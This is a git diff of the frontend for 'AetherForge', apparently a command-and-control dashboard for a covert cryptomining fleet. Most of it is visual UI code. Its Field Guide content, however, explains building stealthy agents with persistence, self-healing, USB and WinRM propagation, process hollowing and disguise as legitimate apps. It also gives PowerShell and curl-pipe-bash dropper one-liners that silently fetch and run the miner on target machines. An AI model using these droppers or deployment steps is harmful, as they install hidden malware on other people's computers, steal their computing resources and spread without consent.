<circle cx={cx} cy={cy} r={R * 1.35} fill="none" stroke="#c9a227" strokeWidth="0.18" strokeDasharray="1.2 1.8" />
{/* Middle ring */}
<circle cx={cx} cy={cy} r={R} fill="none" stroke="#c9a227" strokeWidth="0.22" />
{/* Inner ring */}
<circle cx={cx} cy={cy} r={R * 0.5} fill="none" stroke="#c9a227" strokeWidth="0.18" strokeDasharray="0.6 1.2" />
{/* Flower of Life petal circles */}
{petals.map((p, i) => (
<circle key={i} cx={p.x} cy={p.y} r={R} fill="none" stroke="#c9a227" strokeWidth="0.16" opacity="0.7" />
))}
{/* Pentagon star */}
<path d={starPath} fill="none" stroke="#ff8c00" strokeWidth="0.2" strokeLinejoin="round" opacity="0.6" />
{/* Merkaba triangles */}
<polygon points={triUp} fill="none" stroke="#c9a227" strokeWidth="0.2" opacity="0.8" />
<polygon points={triDown} fill="none" stroke="#c9a227" strokeWidth="0.2" opacity="0.8" />
{/* Centre dot */}
<circle cx={cx} cy={cy} r="0.6" fill="#c9a227" opacity="0.9" />
{/* Spoke lines to star points */}
{starPts.map((p, i) => (
<line key={i} x1={cx} y1={cy} x2={p.x} y2={p.y} stroke="#c9a227" strokeWidth="0.1" opacity="0.35" />
))}
</g>
</svg>
);
}
export default function AmbientBackground() {
return (
<div className="ambient-bg" aria-hidden>
@@ -11,6 +72,8 @@ export default function AmbientBackground() {
<div className="ambient-scanline" />
<div className="ambient-gear ambient-gear-1" />
<div className="ambient-gear ambient-gear-2" />
{/* Sacred geometry watermark — centre of the main content area */}
<SacredGeometry />
</div>
);
}

View File

@@ -1,9 +1,14 @@
.help-tip {
.help-tip-trigger {
display: inline-flex;
align-items: center;
gap: 0.35rem;
margin-left: 0.35rem;
padding: 0;
border: none;
background: none;
cursor: help;
vertical-align: middle;
line-height: 1;
}
.help-tip-icon {
@@ -19,6 +24,55 @@
font-size: 0.6875rem;
font-weight: 700;
box-shadow: 0 0 8px rgba(0, 245, 255, 0.2);
transition: background 0.15s, box-shadow 0.15s, border-color 0.15s;
}
.help-tip-trigger:hover .help-tip-icon,
.help-tip-trigger:focus-visible .help-tip-icon {
background: rgba(0, 245, 255, 0.22);
border-color: rgba(0, 245, 255, 0.65);
box-shadow: 0 0 12px rgba(0, 245, 255, 0.45);
}
.help-tip-label {
font-size: 0.75rem;
color: var(--text-secondary);
}
.help-tip-popup {
position: fixed;
z-index: 10000;
max-width: 280px;
padding: 0.55rem 0.75rem;
font-size: 0.78rem;
line-height: 1.45;
color: #e8f4f8;
background: rgba(6, 14, 18, 0.97);
border: 1px solid rgba(0, 245, 255, 0.45);
border-radius: 4px;
box-shadow:
0 4px 24px rgba(0, 0, 0, 0.55),
0 0 16px rgba(0, 245, 255, 0.12);
pointer-events: auto;
animation: help-tip-in 0.12s ease-out;
}
.help-tip-popup-pinned {
border-color: rgba(255, 180, 0, 0.55);
box-shadow:
0 4px 24px rgba(0, 0, 0, 0.55),
0 0 12px rgba(255, 160, 0, 0.2);
}
@keyframes help-tip-in {
from {
opacity: 0;
transform: translateY(-4px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
.cheat-sheet-item {

View File

@@ -1,5 +1,7 @@
import { useCallback, useEffect, useRef, useState } from 'react';
import { createPortal } from 'react-dom';
import { FIELD_HELP } from '../help/settingHelp';
import '../components/HelpTip.css';
import './HelpTip.css';
interface HelpTipProps {
field: string;
@@ -8,17 +10,111 @@ interface HelpTipProps {
export function HelpTip({ field, label }: HelpTipProps) {
const text = FIELD_HELP[field];
const triggerRef = useRef<HTMLButtonElement>(null);
const popupRef = useRef<HTMLDivElement>(null);
const [open, setOpen] = useState(false);
const [pinned, setPinned] = useState(false);
const [pos, setPos] = useState({ top: 0, left: 0 });
const reposition = useCallback(() => {
const el = triggerRef.current;
if (!el) return;
const rect = el.getBoundingClientRect();
const popupW = 280;
let left = rect.left;
if (left + popupW > window.innerWidth - 12) {
left = window.innerWidth - popupW - 12;
}
left = Math.max(12, left);
setPos({ top: rect.bottom + 8, left });
}, []);
const show = useCallback(() => {
reposition();
setOpen(true);
}, [reposition]);
const hide = useCallback(() => {
if (!pinned) setOpen(false);
}, [pinned]);
const togglePin = useCallback(
(e: React.MouseEvent) => {
e.preventDefault();
e.stopPropagation();
if (pinned) {
setPinned(false);
setOpen(false);
} else {
reposition();
setPinned(true);
setOpen(true);
}
},
[pinned, reposition],
);
useEffect(() => {
if (!pinned) return;
const onDocClick = (e: MouseEvent) => {
const t = e.target as Node;
if (triggerRef.current?.contains(t) || popupRef.current?.contains(t)) return;
setPinned(false);
setOpen(false);
};
document.addEventListener('mousedown', onDocClick);
return () => document.removeEventListener('mousedown', onDocClick);
}, [pinned]);
useEffect(() => {
if (!open) return;
const onScroll = () => reposition();
window.addEventListener('scroll', onScroll, true);
window.addEventListener('resize', onScroll);
return () => {
window.removeEventListener('scroll', onScroll, true);
window.removeEventListener('resize', onScroll);
};
}, [open, reposition]);
if (!text) return null;
return (
<span className="help-tip" title={text} aria-label={text}>
<span className="help-tip-icon">?</span>
{label && <span className="help-tip-label">{label}</span>}
</span>
<>
<button
ref={triggerRef}
type="button"
className="help-tip-trigger"
aria-label={`Help: ${field}`}
aria-expanded={open}
onMouseEnter={show}
onMouseLeave={hide}
onClick={togglePin}
onFocus={show}
onBlur={hide}
>
<span className="help-tip-icon">?</span>
{label && <span className="help-tip-label">{label}</span>}
</button>
{open &&
createPortal(
<div
ref={popupRef}
className={`help-tip-popup${pinned ? ' help-tip-popup-pinned' : ''}`}
style={{ top: pos.top, left: pos.left }}
role="tooltip"
onMouseEnter={() => setOpen(true)}
onMouseLeave={hide}
>
{text}
</div>,
document.body,
)}
</>
);
}
export function FieldHint({ field }: { field: string }) {
const text = FIELD_HELP[field];
if (!text) return null;
return <span className="form-hint">{text}</span>;
/** @deprecated Use HelpTip on the label instead — hints are shown on ? hover/click only. */
export function FieldHint(_props: { field: string }) {
return null;
}

View File

@@ -43,25 +43,43 @@
.logo-emblem {
position: relative;
width: 48px;
height: 48px;
width: 52px;
height: 52px;
display: flex;
align-items: center;
justify-content: center;
flex-shrink: 0;
}
.logo-gear {
position: absolute;
inset: 0;
border: 2px dashed rgba(201, 162, 39, 0.4);
inset: -4px;
border: 1px solid rgba(201, 162, 39, 0.22);
border-radius: 50%;
animation: gear-spin 20s linear infinite;
animation: gear-spin 30s linear infinite;
}
.logo-core {
font-size: 1.5rem;
filter: drop-shadow(0 0 8px var(--neon-amber));
.logo-gear::after {
content: '';
position: absolute;
inset: 5px;
border: 1px dashed rgba(201, 162, 39, 0.14);
border-radius: 50%;
animation: gear-spin 18s linear infinite reverse;
}
.logo-af-img {
width: 48px;
height: 48px;
object-fit: contain;
border-radius: 50%;
filter: drop-shadow(0 0 10px rgba(201, 162, 39, 0.7)) drop-shadow(0 0 3px rgba(255, 100, 0, 0.5));
z-index: 1;
transition: filter 0.3s ease;
}
.logo-af-img:hover {
filter: drop-shadow(0 0 16px rgba(201, 162, 39, 0.95)) drop-shadow(0 0 6px rgba(255, 140, 0, 0.7));
}
.logo-text-block {

View File

@@ -4,6 +4,8 @@ import AmbientBackground from '../Ambient/AmbientBackground';
import SystemStatusBar from '../Visual/SystemStatusBar';
import { useWebSocket } from '../../hooks/useWebSocket';
import MatrixRain from './MatrixRain';
import afLogo from '../../assets/af-logo.png';
import CursorFire from '../Visual/CursorFire';
import './Layout.css';
interface LayoutProps {
@@ -13,7 +15,9 @@ interface LayoutProps {
const NAV = [
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
{ to: '/agents', label: 'Fleet Roster', icon: 'fleet' },
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
{ to: '/forge', label: 'Forge', icon: 'forge' },
{ to: '/builds', label: 'Builds', icon: 'builds' },
{ to: '/guide', label: 'Field Guide', icon: 'guide' },
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
] as const;
@@ -41,6 +45,15 @@ function NavIcon({ type }: { type: string }) {
<path d="M8 16l-2 4 4-2" />
</svg>
);
case 'builds':
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
<rect x="3" y="14" width="18" height="5" rx="1" />
<rect x="3" y="8" width="18" height="5" rx="1" />
<rect x="3" y="2" width="18" height="5" rx="1" />
<path d="M7 4.5h10M7 10.5h10M7 16.5h10" strokeOpacity="0.35" />
</svg>
);
case 'guide':
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
@@ -49,6 +62,15 @@ function NavIcon({ type }: { type: string }) {
<path d="M8 7h8M8 11h6" />
</svg>
);
case 'crucible':
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
<path d="M8 3h8l1 5H7L8 3z" />
<path d="M7 8c0 5 2 8 5 10c3-2 5-5 5-10" />
<path d="M4 21h16" />
<path d="M10 12l1.5 2L14 11" />
</svg>
);
default:
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
@@ -118,17 +140,18 @@ export default function Layout({ children }: LayoutProps) {
return (
<div className="layout">
<CursorFire />
<AmbientBackground />
<nav className="sidebar">
<div className="sidebar-header">
<div className="logo">
<div className="logo-emblem">
<span className="logo-gear" />
<span className="logo-core"></span>
<img src={afLogo} alt="AetherForge" className="logo-af-img" />
</div>
<div className="logo-text-block">
<span className="logo-text">AetherForge</span>
<span className="logo-tagline font-tech">LAN MINING COMMAND</span>
<span className="logo-tagline font-tech">COMMAND DECK</span>
</div>
</div>
</div>

View File

@@ -1,5 +1,6 @@
import { useEffect, useRef } from 'react';
import { useWebSocket } from '../../hooks/useWebSocket';
import { useForge } from '../../context/ForgeContext';
// Full matrix alphabet: katakana + hex + braille dots for visual density
const KATAKANA =
@@ -18,10 +19,22 @@ interface Column {
livePos: number;
}
const FORGE_STRINGS = [
'COMPILING', 'LINKING', 'GARBLE', 'GO BUILD', 'INJECT',
'STEALTH', 'PERSIST', 'ENCRYPT', 'OBFUSC', 'PACKAGE',
'WORKER', 'FORGE', 'SIGN', 'BUNDLE', 'AGENT',
'RANDOMX', 'STRATUM', 'C2CONN', 'DEPLOY',
];
export default function MatrixRain() {
const canvasRef = useRef<HTMLCanvasElement>(null);
const wrapRef = useRef<HTMLDivElement>(null);
const { agents, recentShares, commandResults } = useWebSocket();
const { forging, stage } = useForge();
const forgingRef = useRef(false);
const stageRef = useRef('');
forgingRef.current = forging;
stageRef.current = stage;
// ── Live data pool ──────────────────────────────────────────────────────────
// Collect strings from the fleet that will be injected character-by-character
@@ -40,6 +53,13 @@ export default function MatrixRain() {
for (const r of (commandResults ?? []).slice(-5)) {
if (r.action) pool.push(r.action.toUpperCase().padEnd(8, '_'));
}
// When forging, flood the pool with build strings so they dominate the rain
if (forgingRef.current) {
pool.push(...FORGE_STRINGS);
if (stageRef.current) {
pool.push(stageRef.current.replace(/[^A-Z0-9]/gi, '').toUpperCase().slice(0, 16));
}
}
livePoolRef.current = pool.length > 0 ? pool : ['AETHERFORGE', 'MINING', '00E5FF'];
}, [agents, recentShares, commandResults]);
@@ -109,23 +129,27 @@ export default function MatrixRain() {
let raf: number;
let lastTime = 0;
const FPS = 24; // keep CPU gentle
const MS_PER_FRAME = 1000 / FPS;
const draw = (ts: number) => {
raf = requestAnimationFrame(draw);
if (ts - lastTime < MS_PER_FRAME) return;
const isForging = forgingRef.current;
const targetFps = isForging ? 50 : 24;
const msPerFrame = 1000 / targetFps;
if (ts - lastTime < msPerFrame) return;
lastTime = ts;
const W = canvas.width;
const H = canvas.height;
// Fade trail
ctx.fillStyle = 'rgba(0,0,0,0.18)';
// Forge mode: less fade = longer glowing trails; normal: quick fade
ctx.fillStyle = isForging ? 'rgba(0,0,0,0.10)' : 'rgba(0,0,0,0.18)';
ctx.fillRect(0, 0, W, H);
ctx.font = `${FONT_SIZE}px 'Courier New', monospace`;
// Speed multiplier: 3× faster while forging
const speedMult = isForging ? 3.2 : 1.0;
for (let i = 0; i < cols.length; i++) {
const col = cols[i];
const x = i * FONT_SIZE;
@@ -140,33 +164,52 @@ export default function MatrixRain() {
ch = ALPHABET[Math.floor(Math.random() * ALPHABET.length)];
}
// Head character — bright white flash
ctx.fillStyle = 'rgba(255,255,255,0.95)';
ctx.fillText(ch, x, y * FONT_SIZE);
// Second char — bright cyan-green (neon)
if (y > 1) {
ctx.fillStyle = '#00ff41';
ctx.fillText(
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
x,
(y - 1) * FONT_SIZE,
);
if (isForging) {
// Forge palette: bright amber/orange head, orange body
ctx.fillStyle = 'rgba(255,220,80,0.98)';
ctx.fillText(ch, x, y * FONT_SIZE);
if (y > 1) {
ctx.fillStyle = '#ff8c00';
ctx.fillText(
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
x,
(y - 1) * FONT_SIZE,
);
}
// Extra mid-column glyph density during forge
if (Math.random() < 0.12) {
const dimY = Math.floor(Math.random() * Math.max(1, y - 2));
ctx.fillStyle = 'rgba(255,120,0,0.35)';
ctx.fillText(
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
x,
dimY * FONT_SIZE,
);
}
} else {
// Normal palette: white head, cyan-green body
ctx.fillStyle = 'rgba(255,255,255,0.95)';
ctx.fillText(ch, x, y * FONT_SIZE);
if (y > 1) {
ctx.fillStyle = '#00ff41';
ctx.fillText(
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
x,
(y - 1) * FONT_SIZE,
);
}
if (Math.random() < 0.04) {
const dimY = Math.floor(Math.random() * Math.max(1, y - 2));
ctx.fillStyle = 'rgba(0,180,60,0.22)';
ctx.fillText(
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
x,
dimY * FONT_SIZE,
);
}
}
// Dim previous chars handled by fade overlay above.
// Occasionally render a mid-column dim glyph for density.
if (Math.random() < 0.04) {
const dimY = Math.floor(Math.random() * (y - 2));
ctx.fillStyle = 'rgba(0,180,60,0.22)';
ctx.fillText(
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
x,
dimY * FONT_SIZE,
);
}
col.y += col.speed;
col.y += col.speed * speedMult;
if (col.y * FONT_SIZE > H && Math.random() > 0.96) {
col.y = Math.random() * -20;
col.speed = 0.3 + Math.random() * 0.55;
@@ -179,13 +222,16 @@ export default function MatrixRain() {
const logs = eventLogRef.current;
const lineH = FONT_SIZE + 2;
ctx.font = `${FONT_SIZE - 1}px 'Courier New', monospace`;
const isForging2 = forgingRef.current;
for (let j = 0; j < logs.length; j++) {
const entry = logs[logs.length - 1 - j];
const oy = H - 6 - j * lineH;
if (oy < 0) break;
ctx.fillStyle = `rgba(0,255,65,${(entry.alpha * 0.55).toFixed(2)})`;
const logColor = isForging2
? `rgba(255,160,0,${(entry.alpha * 0.75).toFixed(2)})`
: `rgba(0,255,65,${(entry.alpha * 0.55).toFixed(2)})`;
ctx.fillStyle = logColor;
ctx.fillText(`> ${entry.text}`, 4, oy);
// fade over time
entry.alpha = Math.max(0, entry.alpha - 0.003);
}
};

View File

@@ -44,10 +44,19 @@
background: linear-gradient(135deg, var(--neon-purple), var(--neon-cyan) 100%);
}
.neon-card-gold .neon-card-rim {
background: linear-gradient(135deg, var(--brass-light), var(--brass-dark) 100%);
opacity: 0.9;
}
.neon-card-cyan:hover {
box-shadow: var(--shadow-panel), var(--shadow-neon-cyan);
}
.neon-card-gold:hover {
box-shadow: var(--shadow-panel), 0 0 20px rgba(232, 197, 71, 0.45);
}
.neon-card-magenta:hover {
box-shadow: var(--shadow-panel), var(--shadow-neon-magenta);
}

View File

@@ -1,7 +1,7 @@
import { ReactNode, CSSProperties } from 'react';
import './NeonCard.css';
type Accent = 'cyan' | 'magenta' | 'amber' | 'green' | 'purple' | 'brass';
type Accent = 'cyan' | 'magenta' | 'amber' | 'green' | 'purple' | 'brass' | 'gold';
interface NeonCardProps {
children: ReactNode;

View File

@@ -0,0 +1,136 @@
import { useEffect, useRef } from 'react';
interface Particle {
x: number;
y: number;
vx: number;
vy: number;
life: number; // 1 → 0
size: number;
decay: number;
}
export default function CursorFire() {
const canvasRef = useRef<HTMLCanvasElement>(null);
const particles = useRef<Particle[]>([]);
const mouse = useRef({ x: -9999, y: -9999, moved: false });
const rafRef = useRef<number>(0);
useEffect(() => {
const canvas = canvasRef.current;
if (!canvas) return;
const ctx = canvas.getContext('2d');
if (!ctx) return;
const resize = () => {
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
};
resize();
window.addEventListener('resize', resize);
const onMove = (e: MouseEvent) => {
mouse.current = { x: e.clientX, y: e.clientY, moved: true };
};
window.addEventListener('mousemove', onMove);
const emit = () => {
const { x, y } = mouse.current;
// Emit 6 particles per frame at cursor
for (let i = 0; i < 6; i++) {
const spread = 8;
particles.current.push({
x: x + (Math.random() - 0.5) * spread,
y: y + (Math.random() - 0.5) * (spread * 0.5),
vx: (Math.random() - 0.5) * 1.2,
vy: -(Math.random() * 2.8 + 1.8),
life: 1,
size: Math.random() * 14 + 7,
decay: Math.random() * 0.022 + 0.016,
});
}
// Cap particle count for perf
if (particles.current.length > 400) {
particles.current = particles.current.slice(-400);
}
};
const draw = () => {
ctx.clearRect(0, 0, canvas.width, canvas.height);
// Additive blending makes overlapping particles look white-hot
ctx.globalCompositeOperation = 'screen';
emit();
const alive: Particle[] = [];
for (const p of particles.current) {
// Turbulent horizontal drift
p.vx += (Math.random() - 0.5) * 0.35;
// Slight drag on vx
p.vx *= 0.97;
// Upward acceleration (heat rises)
p.vy -= 0.04;
p.x += p.vx;
p.y += p.vy;
p.life -= p.decay;
// Particles shrink as they cool
p.size *= 0.982;
if (p.life <= 0 || p.size < 1) continue;
alive.push(p);
const l = p.life;
// Color temperature: white-yellow core → orange → red → dark red
let r: number, g: number, b: number;
if (l > 0.75) {
// White-hot
r = 255; g = 255; b = Math.round((l - 0.75) / 0.25 * 220);
} else if (l > 0.5) {
// Yellow-orange
r = 255; g = Math.round(100 + (l - 0.5) / 0.25 * 155); b = 0;
} else if (l > 0.25) {
// Orange-red
r = 255; g = Math.round((l - 0.25) / 0.25 * 100); b = 0;
} else {
// Deep red, fading
r = Math.round(160 + l / 0.25 * 95); g = 0; b = 0;
}
const grad = ctx.createRadialGradient(p.x, p.y, 0, p.x, p.y, p.size);
grad.addColorStop(0, `rgba(${r},${g},${b},${l})`);
grad.addColorStop(0.4, `rgba(${r},${Math.round(g * 0.6)},0,${l * 0.6})`);
grad.addColorStop(1, `rgba(0,0,0,0)`);
ctx.beginPath();
ctx.arc(p.x, p.y, p.size, 0, Math.PI * 2);
ctx.fillStyle = grad;
ctx.fill();
}
particles.current = alive;
rafRef.current = requestAnimationFrame(draw);
};
rafRef.current = requestAnimationFrame(draw);
return () => {
cancelAnimationFrame(rafRef.current);
window.removeEventListener('resize', resize);
window.removeEventListener('mousemove', onMove);
};
}, []);
return (
<canvas
ref={canvasRef}
style={{
position: 'fixed',
inset: 0,
pointerEvents: 'none',
zIndex: 9998,
}}
/>
);
}

View File

@@ -369,3 +369,120 @@
grid-template-columns: 1fr;
}
}
/* ── Guide page additions ─────────────────────────────────────────────────── */
.guide-step-sub {
font-size: 0.82em;
font-weight: 400;
color: var(--text-secondary);
}
.guide-step-btn {
flex-shrink: 0;
align-self: flex-start;
margin-top: 0.15rem;
}
/* Code block with copy button */
.guide-code-block {
position: relative;
margin-top: 0.6rem;
border-radius: 5px;
background: rgba(0, 0, 0, 0.5);
border: 1px solid rgba(201, 162, 39, 0.22);
overflow: hidden;
}
.guide-code-pre {
margin: 0;
padding: 0.65rem 3.5rem 0.65rem 0.9rem;
font-family: 'Courier New', monospace;
font-size: 0.75rem;
line-height: 1.55;
color: #b8e0d0;
white-space: pre-wrap;
word-break: break-all;
}
.guide-code-copy {
position: absolute;
top: 0.35rem;
right: 0.35rem;
font-size: 0.65rem;
font-family: var(--font-tech, monospace);
letter-spacing: 0.06em;
padding: 0.15rem 0.45rem;
background: rgba(0, 245, 255, 0.09);
border: 1px solid rgba(0, 245, 255, 0.3);
border-radius: 3px;
color: var(--neon-cyan, #0ff);
cursor: pointer;
transition: background 0.15s;
}
.guide-code-copy:hover {
background: rgba(0, 245, 255, 0.2);
}
/* Network topology ASCII diagram */
.guide-topology {
margin: 0.5rem 0;
border-radius: 5px;
background: rgba(0, 0, 0, 0.45);
border: 1px solid rgba(201, 162, 39, 0.18);
overflow-x: auto;
}
.guide-topology-pre {
margin: 0;
padding: 0.85rem 1rem;
font-family: 'Courier New', monospace;
font-size: 0.72rem;
line-height: 1.6;
color: #c9a227;
white-space: pre;
}
/* Dropper one-liner quick-ref grid */
.guide-dropper-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
gap: 0.75rem;
margin-top: 0.25rem;
}
.guide-dropper-item {
display: flex;
flex-direction: column;
gap: 0.3rem;
}
.guide-dropper-os {
font-family: 'Courier New', monospace;
font-size: 0.68rem;
font-weight: 700;
letter-spacing: 0.08em;
text-transform: uppercase;
color: var(--neon-amber, #ffc060);
}
/* Inline code links */
.guide-link {
color: var(--neon-cyan, #0ff);
text-decoration: underline;
text-underline-offset: 2px;
}
.guide-link:hover {
color: #fff;
}
@media (max-width: 640px) {
.guide-dropper-grid {
grid-template-columns: 1fr;
}
.guide-topology-pre {
font-size: 0.6rem;
}
}

View File

@@ -0,0 +1,45 @@
import { createContext, useContext, useState, useCallback, ReactNode } from 'react';
export interface ForgeState {
forging: boolean;
stage: string;
progress: number; // 0100
}
interface ForgeContextValue extends ForgeState {
startForge: () => void;
endForge: () => void;
setStage: (stage: string, progress: number) => void;
}
const ForgeContext = createContext<ForgeContextValue>({
forging: false,
stage: '',
progress: 0,
startForge: () => {},
endForge: () => {},
setStage: () => {},
});
export function ForgeProvider({ children }: { children: ReactNode }) {
const [state, setState] = useState<ForgeState>({ forging: false, stage: '', progress: 0 });
const startForge = useCallback(() =>
setState({ forging: true, stage: 'Initializing forge...', progress: 0 }), []);
const endForge = useCallback(() =>
setState({ forging: false, stage: '', progress: 0 }), []);
const setStage = useCallback((stage: string, progress: number) =>
setState((s) => ({ ...s, stage, progress })), []);
return (
<ForgeContext.Provider value={{ ...state, startForge, endForge, setStage }}>
{children}
</ForgeContext.Provider>
);
}
export function useForge() {
return useContext(ForgeContext);
}

View File

@@ -114,6 +114,7 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
(update.shares_accepted ?? a.shares_good)
),
status: 'online' as const,
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
}
: a
)

View File

@@ -1,4 +1,4 @@
/** Structured content for the visual Guide / Cheat Sheet page. */
/** Structured content for the Field Guide page — updated to match current AetherForge feature set. */
export interface CheatStep {
id: string;
@@ -9,6 +9,7 @@ export interface CheatStep {
route?: string;
routeLabel?: string;
tips?: string[];
code?: string; // inline example command / snippet
}
export interface CheatSection {
@@ -19,177 +20,437 @@ export interface CheatSection {
cards?: { title: string; body: string; accent?: string }[];
}
// ─── Main pipeline ────────────────────────────────────────────────────────────
export const PIPELINE_STEPS: CheatStep[] = [
{
id: 'calibrate',
title: 'Calibrate',
subtitle: 'Server hub',
subtitle: 'One-time server setup',
icon: '⚙',
body: 'Set listen port, data folder, fleet alerts, pool/wallet defaults for new Forge forms, and server limits. Does not change already-forged miners.',
body: 'Set the listen port, data folder, fleet alert thresholds, default pool/wallet hints for new Forge forms, and global server limits. Changes here never touch already-forged agents — they are baked at Forge time.',
route: '/settings',
routeLabel: 'Open Calibrate',
tips: ['One-time server setup', 'Public LAN URL helps Forge quick-pick chips'],
tips: [
'Port default is 8080 — change if conflicting',
'Leave Public URL blank when behind Cloudflare (server binds 0.0.0.0:PORT, CF handles external)',
'Set a default wallet address here so every new Forge form pre-fills it',
'Build retention: how many days old builds stay on disk before auto-purge',
],
},
{
id: 'forge',
title: 'Forge',
subtitle: 'Per-miner config',
subtitle: 'Build a worker binary',
icon: '⚒',
body: 'Calibrate every worker here — wallet, pool, threads, install path, stealth, Fusion, AI. All baked into the .exe + uninstall script.',
body: 'Every setting is compiled directly into the agent .exe — nothing is fetched at runtime. Fill in your C2 URL (e.g. your Cloudflare tunnel), wallet, pool, stealth mode, persistence, and hit FORGE INSTALLER.',
route: '/forge',
routeLabel: 'Open Forge',
tips: ['Green badge = baked into installer', 'Preflight must pass before forge'],
tips: [
'C2 URL example: https://your-tunnel.trycloudflare.com (no trailing slash)',
'For LAN-only: http://192.168.1.50:8080',
'Preflight must be all-green (✓) or yellow (!) to forge — red (✕) blocks it',
'Save a Blueprint after tuning so you can one-click re-forge the same config later',
'Fusion: wrap the agent inside a legit-looking prep.exe so it looks like your real app',
],
},
{
id: 'deploy',
title: 'Deploy',
subtitle: 'Copy & run once',
icon: '📦',
body: 'Copy install-*.exe (or fused prep.exe) to each Windows machine. Double-click once — it embeds, persists, and connects back.',
tips: ['Keep uninstall-*.ps1 next to the exe', 'Use LAN IP in server URL, not localhost'],
id: 'buildmgr',
title: 'Build Manager',
subtitle: 'Manage forged binaries',
icon: '📋',
body: 'Every build you forge is listed here with its baked settings (C2, wallet, pool, platform). Download any build, grab dropper one-liners, copy to any machine. Pin one build to make the dropper commands always serve it.',
route: '/builds',
routeLabel: 'Build Manager',
tips: [
'Pin a build → dropper one-liners always serve that exact binary',
'Unpinned: dropper serves the most-recently-forged build',
'Each card shows wallet (truncated), pool, thread count, and file size',
'Re-forge button pre-fills Forge with that build\'s exact baked settings',
'Delete removes the DB record (archive file stays on server disk)',
],
},
{
id: 'drop',
title: 'Drop',
subtitle: 'One-liner remote install',
icon: '📡',
body: 'Send a single command to any PC and it silently downloads + runs the pinned build. The dropper auto-detects OS from User-Agent. Terminal closes automatically after launch.',
tips: [
'Windows (PowerShell): iex (irm \'https://your-tunnel.trycloudflare.com/install.ps1\')',
'Linux/Mac (bash): curl -sL https://your-tunnel.trycloudflare.com/install.sh | bash',
'Direct download: https://your-tunnel.trycloudflare.com/get?os=windows',
'Endpoints /get, /install.sh, /install.ps1 are unauthenticated — URL knowledge is the gate',
'Pin the correct build in Build Manager before sending the one-liner',
],
code: `iex (irm 'https://YOUR-TUNNEL.trycloudflare.com/install.ps1')`,
},
{
id: 'connect',
title: 'Connect',
subtitle: 'WebSocket auth',
icon: '📡',
body: 'Worker reaches your control server, sends forged wallet/pool/AI config, appears on Command Deck and Fleet Roster.',
subtitle: 'Agent phones home',
icon: '🔗',
body: 'After running, the worker embeds itself, sets up persistence (registry/task scheduler/service depending on Forge settings), then WebSocket-connects to the C2 URL baked into it. It appears in Fleet Roster within seconds.',
route: '/agents',
routeLabel: 'Fleet Roster',
tips: ['Signal Locked = dashboard live', 'Worker name from Forge shows in roster'],
tips: [
'Status dot: green = online now, grey = last seen X ago',
'If agent never appears: check C2 URL is reachable from the target machine',
'Cloudflare tunnel on a different machine is fine — agent connects to the tunnel URL',
'Worker name you set in Forge shows as the agent name in the roster',
],
},
{
id: 'mine',
title: 'Mine',
subtitle: 'RandomX + pool',
subtitle: 'Stratum → pool → shares',
icon: '⛏',
body: 'Server opens Stratum to your forged pool. Jobs broadcast to agents. Shares validated against pool before accept rate updates.',
body: 'The C2 server maintains a Stratum connection to each unique pool+wallet combination that has been forged. Jobs are broadcast to matching agents over WebSocket. Accepted/rejected shares track against the pool directly.',
route: '/dashboard',
routeLabel: 'Command Deck',
tips: ['Hashrate wave chart = fleet total', 'Share log updates live'],
tips: [
'Command Deck shows total fleet hashrate as a live wave chart',
'Pool status panel shows each pool\'s Stratum connection health (green/yellow/red)',
'Accept rate below ~95% usually means wrong wallet or pool TLS mismatch',
'Hashrate updates every 15 seconds from each agent heartbeat',
],
},
];
// ─── Forge vs Calibrate ────────────────────────────────────────────────────────
export const FORGE_VS_CALIBRATE = {
forge: {
title: 'Forge — per miner',
title: 'Forge — baked into each binary',
items: [
'Worker name & server URL',
'Wallet & pool (host, port, TLS)',
'Threads, CPU/RAM limits, schedule',
'Install path, stealth, persistence, firewall rules',
'Fusion prep bundling',
'AI Autonomy toggle + Ollama model',
'C2 server URL (e.g. Cloudflare tunnel)',
'Wallet address & payment ID',
'Pool host, port, TLS on/off, pool password',
'Worker name (shows in Fleet Roster)',
'Thread count + thread mode (fixed / percent / adapt)',
'CPU/RAM usage caps & idle detection',
'Mining schedule (start/end time window)',
'Install base path + relative subfolder',
'Stealth mode (hidden process, no console)',
'Persistence (registry + scheduled task + WMI)',
'Windows Firewall allow rules',
'Self-healing (watchdog re-installs if killed)',
'USB propagation + share/WinRM spread',
'Process hollowing + display name disguise',
'Fusion (wrap inside a prep.exe or media file)',
'AI Autonomy (Ollama model, endpoint)',
'Backup C2s and backup pools',
],
},
calibrate: {
title: 'Calibrate — control server',
title: 'Calibrate — control server only',
items: [
'Listen port & data directory',
'Dashboard subtitle',
'Fleet alert thresholds + notifications',
'Default pool/wallet for new Forge forms',
'Stats & build retention, max agents/build size',
'WebSocket ping, pool reconnect, logging toggles',
'Listen port (default 8080)',
'Data directory path',
'Dashboard subtitle (cosmetic)',
'Default pool/wallet shown in new Forge forms',
'Fleet alert thresholds + Telegram/email notify',
'Max agents / max build size limits',
'Stats & build retention periods',
'WebSocket ping & pool reconnect intervals',
'Logging toggles (connections, shares, pool traffic)',
'Open control-server port in Windows Firewall',
'Build signing (Authenticode cert thumbprint)',
'Garble obfuscation default on/off',
],
},
};
// ─── Network / Cloudflare topology ────────────────────────────────────────────
export const NETWORK_GUIDE: CheatStep[] = [
{
id: 'n1',
title: 'Portable self-configuring tunnel',
subtitle: 'Bundled into LAUNCH.bat',
icon: '🚀',
